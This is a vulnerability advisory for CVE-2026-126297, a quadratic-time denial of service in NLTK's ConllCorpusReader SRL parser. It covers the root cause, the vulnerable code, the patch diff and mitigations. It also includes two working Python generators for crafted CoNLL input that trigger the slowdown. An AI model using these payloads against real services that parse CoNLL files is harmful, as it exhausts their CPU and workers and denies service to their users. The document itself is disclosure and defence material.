CVE-2026-126297: Algorithmic Complexity Denial of Service in NLTK ConllCorpusReader

The Natural Language Toolkit (NLTK) provides standardized corpus readers to parse structured linguistic datasets across Python natural language processing (NLP) pipelines. Among these components, ConllCorpusReader in nltk/corpus/reader/conll.py is responsible for parsing tabular data formatted according to the Conference on Computational Natural Language Learning (CoNLL) specifications, including words, part-of-speech (POS) tags, syntactic parse trees, and Semantic Role Labeling (SRL) propositions.

In NLTK versions prior to 3.10.4, the SRL parsing subsystem exhibits an inefficient algorithmic complexity vulnerability (CWE-407) leading to uncontrolled resource consumption (CWE-400). Specifically, the internal helper method ConllCorpusReader._get_srl_instances and the data model constructor ConllSRLInstance.__init__ rely on nested linear scans and explicit range expansions when associating sentence predicates with their corresponding semantic argument span columns.

When an application or data processing pipeline uses ConllCorpusReader to ingest untrusted or user-supplied CoNLL files, an attacker can submit specially structured sentences that trigger worst-case quadratic time complexity, scaling at $\mathcal{O}(N^2)$ relative to the number of tokens or predicates in a sentence block.

Because Python executes this parsing logic synchronously on a single thread, processing a single crafted sentence block of a few thousand lines can pin a CPU core at 100% utilization for minutes and allocate millions of redundant integer references in memory. This results in a deterministic Denial of Service (DoS) against the host application.

In the CoNLL SRL data format, each sentence is represented as a grid of rows (corresponding to individual tokens/words) and columns. Beyond the base linguistic annotations (words, POS tags, syntactic tree fragments, rolesets, and predicate lemmas), a sentence block contains $P$ additional columns—one for each predicate identified in the sentence. Each of these $P$ columns encodes bracketed semantic role spans (such as (V*) for the verb head or (A1*) for arguments) relative to its specific predicate.

The root cause of CVE-2026-126297 involves two distinct algorithmic bottlenecks during the resolution and instantiation of these SRL columns. The first bottleneck occurs in ConllCorpusReader._get_srl_instances(grid, pos_in_tree). Because the parser does not assume that the $P$ span columns appear in the exact same order as the $P$ predicates, it attempts to match each predicate at row index wordnum to the first spanlist that contains a verb tag ("V" or "C-V") covering wordnum. In vulnerable versions, this lookup is performed via an unindexed triple-nested loop: the outer loop iterates over all predicates, the middle loop iterates over all spanlists ($P$ columns), and the inner loop iterates over every (start, end), tag tuple in the spanlist, evaluating wordnum in range(start, end).

For a sentence block containing $P$ predicates and $P$ span columns where each column contains $R$ spans, matching predicates to span columns requires $\mathcal{O}(P^2 \cdot R)$ operations in the worst case. If an input places verb spans along the matrix diagonal while populating non-diagonal cells with decoy argument spans (e.g., (A1*)), the parser scans all preceding non-matching columns and spans for every single predicate. Where $P \approx N$ (the number of words in the sentence), runtime scales at $\mathcal{O}(N^2)$.

The second algorithmic flaw involves how multi-word verb spans (start to end) are expanded into token indices. Both the initial attempt to pre-index wordnum_to_spanlist in _get_srl_instances and the verb index population logic in ConllSRLInstance.__init__ iterated directly across range(start, end) for every verb span (self.verb += list(range(start, end))). If a single span column opens $N$ nested verb spans on the first word of the sentence (token 0) and closes all $N$ spans on the final word (token N - 1), each of the $N$ spans has a width of $N$. Expanding every span token-by-token requires $\sum_{i=1}^{N} N = N^2$ operations, re-introducing quadratic time and memory complexity even when only a single predicate exists.

Prior to NLTK 3.10.4, ConllCorpusReader._get_srl_instances and ConllSRLInstance.__init__ in nltk/corpus/reader/conll.py resolved verb spans through repeated linear searches and explicit range materialization:

# Vulnerable implementation in nltk/corpus/reader/conll.py (< 3.10.4)
for wordnum, predicate in enumerate(predicates):
    if predicate == "-":
        continue
    # Rescans all spanlists and all spans for every predicate: O(P^2 * R)
    for spanlist in spanlists:
        for (start, end), tag in spanlist:
            if wordnum in range(start, end) and tag in ("V", "C-V"):
                break
        else:
            continue
        break
    else:
        raise ValueError("No srl column found for %r" % predicate)
    instances.append(
        ConllSRLInstance(tree, wordnum, predicate, rolesets[wordnum], spanlist)
    )

Furthermore, inside ConllSRLInstance.__init__, the constructor populated self.verb by expanding range(start, end) into a list for every matching "V" or "C-V" tag:

# Vulnerable span expansion in ConllSRLInstance.__init__ (< 3.10.4)
for (start, end), tag in tagged_spans:
    if tag in ("V", "C-V"):
        # Expanding nested full-width spans costs O(spans * words)
        self.verb += list(range(start, end))
    else:
        self.arguments.append(((start, end), tag))

The remediation was implemented across two commits in Pull Request #3933: commit 9cacbb95d97eaac7debb30d6e7decbe74d2c635f (which introduced a hash map to eliminate per-predicate rescanning) and commit 7bae75fc0f7b1f057ff7d89d24c81bb5a4a0f05a (which replaced naive range(start, end) loops with a 1D sweep-line difference array algorithm). Below is the annotated patch diff from nltk/corpus/reader/conll.py:

@@ -402,15 +402,26 @@ def _get_srl_instances(self, grid, pos_in_tree):
             rolesets = [None] * len(predicates)
 
         instances = ConllSRLInstanceList(tree)
-        # Map each word index to the first spanlist (in order) that has a
-        # 'V'/'C-V' span covering it, so a predicate picks its spanlist with
-        # one dict lookup instead of rescanning every spanlist per predicate.
+        # Map each word index to the first spanlist (in order) whose V or C-V
+        # span covers it, sweeping each column once: a predicate then picks its
+        # spanlist with one lookup instead of rescanning every spanlist.
         wordnum_to_spanlist = {}
         for spanlist in spanlists:
+            if len(wordnum_to_spanlist) == len(grid):
+                break  # every word already has its spanlist
+            # A column of nested full-width spans would cost every span times
+            # every word if each span were expanded; the sweep counts open
+            # spans per word instead, so a column costs its words plus its spans.
+            opens = [0] * (len(grid) + 1)
             for (start, end), tag in spanlist:
                 if tag in ("V", "C-V"):
-                    for covered in range(start, end):
-                        wordnum_to_spanlist.setdefault(covered, spanlist)
+                    opens[start] += 1
+                    opens[end] -= 1
+            covered = 0
+            for wordnum, delta in enumerate(opens):
+                covered += delta
+                if covered > 0:
+                    wordnum_to_spanlist.setdefault(wordnum, spanlist)
         for wordnum, predicate in enumerate(predicates):
             if predicate == "-":
                 continue
@@ -482,12 +493,23 @@ def __init__(self, tree, verb_head, verb_stem, roleset, tagged_spans):
         """A list of the words in the sentence containing this
            instance."""
 
-        # Fill in the self.verb and self.arguments values.
+        # Fill in the self.verb and self.arguments values. The verb words come
+        # from one sweep over the sentence: expanding every verb span would cost
+        # spans times words on crafted input whose verb spans overlap.
+        opens = [0] * (
+            max([len(self.words)] + [end for (_, end), _ in tagged_spans]) + 1
+        )
         for (start, end), tag in tagged_spans:
             if tag in ("V", "C-V"):
-                self.verb += list(range(start, end))
+                opens[start] += 1
+                opens[end] -= 1
             else:
                 self.arguments.append(((start, end), tag))
+        covered = 0
+        for wordnum, delta in enumerate(opens[:-1]):
+            covered += delta
+            if covered > 0:
+                self.verb.append(wordnum)

The fix addresses both attack vectors completely. First, wordnum_to_spanlist pre-indexes word positions so each predicate resolves its target spanlist in $\mathcal{O}(1)$ time, with an early termination check (if len(wordnum_to_spanlist) == len(grid): break) once all word indices are covered. Second, by recording span boundaries as delta increments (opens[start] += 1) and decrements (opens[end] -= 1) in a difference array and computing a single prefix-sum sweep over opens, each column is processed in linear $\mathcal{O}(\text{words} + \text{spans})$ time regardless of how deeply spans are nested or overlapped. In ConllSRLInstance.__init__, this sweep-line technique also prevents duplicate word indices from being appended to self.verb when verb spans overlap.

Exploiting CVE-2026-126297 requires no authentication or special privileges, provided the target application exposes an interface that parses untrusted CoNLL corpus data with SRL annotations enabled (such as calling srl_instances() or srl_spans() on a ConllCorpusReader instance). An attacker can trigger quadratic resource consumption using either of two structural patterns in a CoNLL input payload.

Variant 1: Diagonal Predicates with Decoy Span Columns

In the first attack pattern, the adversary constructs a sentence grid with $N$ rows (each declaring a predicate) and $N$ SRL span columns. In column $j$, the verb tag (V*) is placed only on the diagonal row $i = j$, while all other rows $i \neq j$ are populated with a non-verb decoy tag such as (A1*). When _get_srl_instances attempts to resolve the $k$-th predicate, it must iterate through all $N$ span entries in columns $0$ through $k-1$ before locating the matching (V*) tag in column $k$.

from nltk.corpus.reader.conll import ConllCorpusReader
import tempfile
import time
 
def generate_hostile_srl_grid(n):
    """
    Generates a crafted CoNLL SRL grid with n predicates and n span columns.
    Triggers O(N^2) column rescanning in NLTK < 3.10.4.
    """
    grid = []
    for i in range(n):
        # Columns: words, pos, tree, roleset, predicate, followed by n span columns
        row = ["w", "NN", "*", "verb.01", "p"]
        for j in range(n):
            # Place the verb span only on diagonal (i == j), decoy span on others
            row.append("(V*)" if i == j else "(A1*)")
        grid.append(row)
    return grid
 
tmp_dir = tempfile.mkdtemp()
dummy_file = f"{tmp_dir}/test.conll"
open(dummy_file, "w").close()
 
reader = ConllCorpusReader(tmp_dir, ["test.conll"], ("words", "pos", "tree", "srl"))
 
for n in [70, 280]:
    grid = generate_hostile_srl_grid(n)
    start_time = time.time()
    reader._get_srl_instances(grid, False)
    elapsed = time.time() - start_time
    print(f"Predicates: {n}, Elapsed Time: {elapsed:.4f}s")

When executed against unpatched NLTK versions, increasing $N$ by a factor of $4\times$ (from 70 to 280) increases execution time by approximately $16\times$, demonstrating strict $\mathcal{O}(N^2)$ scaling.

Variant 2: Nested Full-Width Verb Spans

In the second attack pattern, the adversary requires only a single predicate and a single SRL column across $N$ rows. On the first row ($i = 0$), the SRL column opens $N$ nested verb spans ("(V" * n + "*"), and on the final row ($i = n - 1$), it closes all $N$ spans ("*" + ")" * n).

def generate_nested_full_width_grid(n):
    """
    Generates a CoNLL SRL grid where one column opens n verb spans on word 0
    and closes all n on word n-1, triggering O(N^2) range expansion.
    """
    rows = []
    for i in range(n):
        if i == 0:
            cell = "(V" * n + "*"
        elif i == n - 1:
            cell = "*" + ")" * n
        else:
            cell = "*"
        rows.append(["w", "NN", "*", "verb.01", "p" if i == 0 else "-", cell])
    return rows

On a sentence length of $N = 4,000$, this compact representation forces unpatched versions of NLTK to perform $16,000,000$ loop iterations per sweep and construct a self.verb list containing $16,000,000$ integer elements. In benchmark testing, processing a single 4,000-word block took 4.03 seconds on vulnerable code compared to 0.096 seconds after the sweep-line patch.

The primary impact of CVE-2026-126297 is high availability degradation (Denial of Service) affecting the vulnerable component, reflected in its CVSS v3.1 score of 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) and CVSS v4.0 score of 8.7 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N). Confidentiality and integrity of the host system are not directly impacted by this flaw.

In Python web services, machine learning training pipelines, or automated grading and linguistic analysis platforms that ingest user-provided CoNLL files, synchronous execution of ConllCorpusReader.srl_instances() or ConllCorpusReader.srl_spans() blocks the executing thread or worker process. In WSGI/ASGI deployments with a fixed pool of worker processes, submitting a small number of concurrent requests containing crafted CoNLL grids can exhaust all available application workers.

Furthermore, Variant 2 (nested full-width verb spans) causes secondary memory pressure in ConllSRLInstance.__init__. Because self.verb += list(range(start, end)) appends $N$ integers for each of the $N$ nested spans without deduplication, a single sentence block of $N$ words allocates $\mathcal{O}(N^2)$ integer references in the self.verb list, amplifying memory consumption alongside CPU exhaustion.

According to FIRST Exploit Prediction Scoring System (EPSS) data, CVE-2026-126297 holds an EPSS score of 0.00582 (0.582%, 48.33rd percentile) and is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. While automated mass exploitation across the internet is unlikely due to the specialized nature of CoNLL SRL corpus ingestion, any exposed endpoint accepting untrusted CoNLL files is deterministically vulnerable.

The primary remediation is to upgrade the nltk package to version 3.10.4 or later, which incorporates the hash-map lookup and 1D sweep-line algorithms introduced in Pull Request #3933 (commits 9cacbb95d97eaac7debb30d6e7decbe74d2c635f and 7bae75fc0f7b1f057ff7d89d24c81bb5a4a0f05a).

pip install --upgrade "nltk>=3.10.4"

> [!NOTE] > The patch in version 3.10.4 alters the behavior of ConllSRLInstance.verb when overlapping verb spans are present: each covered word index is now recorded once in ascending order rather than being duplicated for each overlapping span. Standard CoNLL corpora with disjoint verb spans are unaffected by this behavioral refinement.

For environments where an immediate upgrade to nltk >= 3.10.4 cannot be performed, security teams should implement defensive input validation and resource isolation controls around corpus ingestion workflows:

1. Restrict Sentence and Column Dimensions: Pre-validate untrusted CoNLL inputs prior to passing them to ConllCorpusReader. Enforce strict upper bounds on the number of rows (tokens) per sentence block, the number of columns per row, and the maximum number of opening parenthesis characters (() permitted within any single SRL cell.
2. Process Isolation and Timeouts: Execute untrusted corpus parsing inside isolated worker processes configured with strict wall-clock timeouts and OS-level CPU/memory resource limits (RLIMIT_CPU and RLIMIT_AS), ensuring stalled parsing tasks can be terminated without starving the primary application server.